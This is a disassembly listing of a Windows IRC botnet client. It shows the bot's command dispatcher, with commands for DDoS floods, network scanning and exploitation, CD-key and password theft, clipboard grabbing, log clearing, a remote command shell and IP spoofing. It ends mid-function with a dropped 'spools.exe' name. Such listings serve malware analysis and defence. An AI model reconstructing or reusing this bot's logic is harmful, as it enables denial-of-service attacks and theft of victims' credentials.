
loc_402C7F:				; CODE XREF: .nsp0:00402C65j
		push	edi
		push	offset aSy1stop	; "sy1stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA8
		push	dword ptr [ebp+esi-8Ch]
		push	0Eh
		push	offset dword_433240
		push	offset dword_433234
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402CA8:				; CODE XREF: .nsp0:00402C8Ej
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD1
		push	dword ptr [ebp+esi-8Ch]
		push	10h
		push	offset dword_433218
		push	offset dword_433208
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402CD1:				; CODE XREF: .nsp0:00402CB7j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CFA
		push	dword ptr [ebp+esi-8Ch]
		push	11h
		push	offset dword_4331EC
		push	offset dword_4331DC
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402CFA:				; CODE XREF: .nsp0:00402CE0j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D23
		push	dword ptr [ebp+esi-8Ch]
		push	12h
		push	offset dword_4331C4
		push	offset dword_4331B8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402D23:				; CODE XREF: .nsp0:00402D09j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E79
		mov	esi, [ebp+esi-8Ch]
		mov	edi, [ebp+0Ch]
		push	esi
		push	0Dh
		push	offset dword_433260
		push	offset dword_433254
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	0Eh
		push	offset dword_433240
		push	offset dword_433234
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_4331A0
		push	offset dword_433194
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	16h
		push	offset dword_433188
		push	offset dword_43317C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_4331EC
		push	offset dword_4331DC
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	12h
		push	offset dword_4331C4
		push	offset dword_4331B8
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_43316C
		push	offset dword_43315C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	13h
		push	offset dword_43314C
		push	offset dword_43313C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_433218
		push	offset dword_433208
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_433108
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_4099D2
		add	esp, 34h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_402E79:				; CODE XREF: .nsp0:00402D32j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA2
		push	dword ptr [ebp+esi-8Ch]
		push	0Fh
		push	offset dword_43316C
		push	offset dword_43315C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402EA2:				; CODE XREF: .nsp0:00402E88j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECB
		push	dword ptr [ebp+esi-8Ch]
		push	13h
		push	offset dword_43314C
		push	offset dword_43313C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402ECB:				; CODE XREF: .nsp0:00402EB1j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF4
		push	dword ptr [ebp+esi-8Ch]
		push	17h
		push	offset dword_4331A0
		push	offset dword_433194
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402EF4:				; CODE XREF: .nsp0:00402EDAj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F1D
		push	dword ptr [ebp+esi-8Ch]
		push	16h
		push	offset dword_433188
		push	offset dword_43317C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402F1D:				; CODE XREF: .nsp0:00402F03j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F46
		push	dword ptr [ebp+esi-8Ch]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_4330C0
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402F46:				; CODE XREF: .nsp0:00402F2Cj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460E
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460E
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC3
		push	dword ptr [ebp+esi-8Ch]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_433070
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402FC3:				; CODE XREF: .nsp0:00402FA9j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FEC
		push	dword ptr [ebp+esi-8Ch]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_43304C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402FEC:				; CODE XREF: .nsp0:00402FD2j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403015
		push	dword ptr [ebp+esi-8Ch]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_43302C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_403015:				; CODE XREF: .nsp0:00402FFBj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40459E
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40459E
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457F
		push	edi
		push	offset aR	; "r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457F
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404515
		push	edi
		push	offset aQ	; "q"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404515
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI_1	; "i"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031E1
		call	sub_418AE3
		test	eax, eax
		mov	eax, offset unk_432F74
		jnz	short loc_4031B3
		mov	eax, offset unk_432F4C


loc_4031B3:				; CODE XREF: .nsp0:004031ACj
		push	eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 1Ch
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_4031E1:				; CODE XREF: .nsp0:0040319Ej
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AE
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AE
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404295
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404295
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425B
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425B
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404230
		push	edi
		push	offset aSi	; "si"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404230
		push	edi
		push	offset aRemov	; "remov`]"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F6
		push	edi
		push	offset aR0i0m	; "r0i0m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F6
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D3
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D3
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040AC
		push	edi
		push	offset aKey	; "key"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040AC
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404025
		push	edi
		push	offset aUp	; "up"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404025
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404008
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404008
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FEF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FEF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB0
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB0
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40342C
		push	dword ptr [ebp+esi-8Ch]
		push	0Ah
		push	offset dword_432E90
		push	offset dword_432E84
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_40342C:				; CODE XREF: .nsp0:00403412j
		push	edi
		push	offset dword_432E80
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40352B
		cmp	[ebp-8], ebx
		jnz	short loc_403460
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_432E6C
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403460:				; CODE XREF: .nsp0:00403444j
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jz	short loc_40346A
		inc	eax
		jmp	short loc_40346F
; ---------------------------------------------------------------------------


loc_40346A:				; CODE XREF: .nsp0:00403465j
		mov	eax, offset aEmpty ; "<Empty>"


loc_40346F:				; CODE XREF: .nsp0:00403468j
		push	eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset unk_432E38
		call	sub_4157A6
		add	esp, 28h


loc_4034A9:				; CODE XREF: .nsp0:0040372Bj
					; .nsp0:00404A34j
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_401D6C
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B40
		mov	esi, [ebp+18h]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A46
		lea	eax, [ebp-2C0h]
		push	offset unk_432E04
		push	eax
		mov	dword_4D49A8, ebx
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_403501:				; CODE XREF: .nsp0:00404AE7j
					; .nsp0:00404B0Dj ...
		cmp	[ebp-8], ebx
		jnz	loc_4097B8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2


loc_403523:				; CODE XREF: .nsp0:00408ABCj
					; .nsp0:00408B20j
		add	esp, 14h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_40352B:				; CODE XREF: .nsp0:0040343Bj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6F
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6F
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F58
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F58
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F20
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F20
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE6
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE6
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D98
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D98
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrassh	; "crassh"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B7
		lea	eax, [ebp-2C0h]
		push	offset dword_432D64
		push	eax
		call	sub_41BF36
		cmp	[ebp-8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403696
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403696:				; CODE XREF: .nsp0:00403678j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		mov	dword ptr [esp], offset	aCrash ; "crash"
		push	dword ptr [ebp+esi-7Ch]
		call	sub_41C710
		jmp	loc_4020BA
; ---------------------------------------------------------------------------


loc_4036B7:				; CODE XREF: .nsp0:00403660j
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aVall	; "vall"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40370B
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		jmp	loc_401DD4
; ---------------------------------------------------------------------------


loc_40370B:				; CODE XREF: .nsp0:004036F0j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403731
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A9


loc_403731:				; CODE XREF: .nsp0:0040371Aj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0F54h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		push	offset unk_432CEC
		mov	[ebp-0F58h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0ED0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-0ECCh], eax
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	26h
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-0ED4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0F58h]
		push	ebx
		push	eax
		push	offset sub_417517
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0ED4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: .nsp0:004037D4j
		cmp	[ebp-0EC8h], ebx
		jnz	loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: .nsp0:004037BEj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432CB0
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: .nsp0:004036C6j
					; .nsp0:004036DBj
		mov	al, byte_43836A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_43836A
		jz	loc_401D6C
		mov	ecx, edx


loc_4037FE:				; CODE XREF: .nsp0:00403806j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401D6C
		mov	[ebp+18h], edx
		mov	esi, offset aO1_0 ; "#o1"


loc_403818:				; CODE XREF: .nsp0:00403AD6j
		push	0Bh
		call	sub_40B256
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp-2C0h]
		push	offset unk_432C70
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: .nsp0:00403832j
		or	dword ptr [ebp-730h], 0FFFFFFFFh
		cmp	dword_438048, ebx
		mov	dword ptr [ebp-734h], 64h
		mov	dword ptr [ebp-748h], 5
		mov	dword ptr [ebp-744h], 320h
		mov	[ebp+8], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_438048


loc_40389C:				; CODE XREF: .nsp0:004038BAj
		mov	eax, [ebp+18h]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	dword ptr [ebp+8]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: .nsp0:004038B0j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-730h], eax
		shl	ecx, 6
		mov	ecx, dword_438048[ecx]
		mov	[ebp-74Ch], ecx


loc_4038D8:				; CODE XREF: .nsp0:00403895j
					; .nsp0:004038BCj
		cmp	[ebp-74Ch], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp-2CCh]
		pop	edi
		push	eax
		lea	eax, [ebp-30Ch]
		push	eax
		mov	[ebp-2CCh], edi
		push	dword ptr [ebp+0Ch]
		call	dword_4D1194	; getsockname
		mov	al, [ebp-8FFh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-308h], eax
		push	dword ptr [ebp-308h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-860h]
		push	eax
		call	sub_41BCA0
		xor	eax, eax
		cmp	[ebp-8FFh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-860h]
		push	eax
		call	sub_41C4E0
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: .nsp0:0040397Ej
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-860h]
		push	30h
		push	eax
		call	sub_41C4E0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: .nsp0:0040395Cj
					; .nsp0:00403960j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-750h], eax
		mov	eax, [ebp-4]
		mov	[ebp-728h], eax
		mov	eax, [ebp-8]
		mov	[ebp-724h], eax
		mov	edi, 80h
		lea	eax, [ebp-850h]
		push	edi
		push	eax
		mov	dword ptr [ebp-720h], 1
		call	sub_41C030
		push	offset byte_443398
		push	esi
		call	sub_41C710
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp-7D0h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: .nsp0:004039CDj
		mov	[ebp-7D0h], bl


loc_4039E8:				; CODE XREF: .nsp0:004039E0j
		cmp	[ebp-720h], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: .nsp0:004039F3j
		push	dword ptr [ebp-734h]
		lea	ecx, [ebp-860h]
		push	dword ptr [ebp-744h]
		push	dword ptr [ebp-748h]
		push	dword ptr [ebp-74Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432BF0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-740h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-860h]
		push	ebx
		push	eax
		push	(offset	loc_40C247+1)
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-740h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: .nsp0:00403A82j
		cmp	[ebp-71Ch], ebx
		jnz	short loc_403A9F
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: .nsp0:00403A70j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432BB4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: .nsp0:00403A78j
		cmp	[ebp-8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403AC0:				; CODE XREF: .nsp0:00403AA2j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_403ACD:				; CODE XREF: .nsp0:00403862j
		add	dword ptr [ebp+18h], 0Bh
		mov	eax, [ebp+18h]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: .nsp0:004038DEj
		push	offset unk_432B7C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: .nsp0:00403636j
					; .nsp0:0040364Bj
		push	5
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_432B5C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: .nsp0:00403AF5j
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-2D50h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: .nsp0:00403B0Aj
		mov	edi, 104h
		lea	eax, [ebp-2D50h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0B40000h
		xchg	eax, esp


loc_403B38:				; CODE XREF: .nsp0:00403B22j
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset aSpools_exe	; "spools.exe"


